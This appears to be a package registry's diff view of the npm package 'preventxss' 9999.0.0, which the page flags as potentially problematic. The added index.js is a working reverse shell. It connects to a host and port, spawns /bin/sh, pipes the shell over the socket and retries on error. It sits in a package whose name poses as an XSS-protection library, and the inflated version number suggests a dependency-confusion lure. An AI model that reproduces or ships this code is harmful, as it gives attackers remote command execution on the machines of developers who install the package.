preventxss 9999.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of preventxss might be problematic. Click here for more details.
- package/index.js +21 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
var net = require('net');
|
2
|
+
var spawn = require('child_process').spawn;
|
3
|
+
|
4
|
+
HOST="localhost";
|
5
|
+
PORT="4242";
|
6
|
+
TIMEOUT="5000";
|
7
|
+
|
8
|
+
function c(HOST,PORT) {
|
9
|
+
var client = new net.Socket();
|
10
|
+
client.connect(PORT, HOST, function() {
|
11
|
+
var sh = spawn('/bin/sh',[]);
|
12
|
+
client.write("Connected\r\n");
|
13
|
+
client.pipe(sh.stdin);
|
14
|
+
sh.stdout.pipe(client);
|
15
|
+
});
|
16
|
+
client.on('error', function(e) {
|
17
|
+
setTimeout(c(HOST,PORT), TIMEOUT);
|
18
|
+
});
|
19
|
+
}
|
20
|
+
|
21
|
+
c(HOST,PORT);
|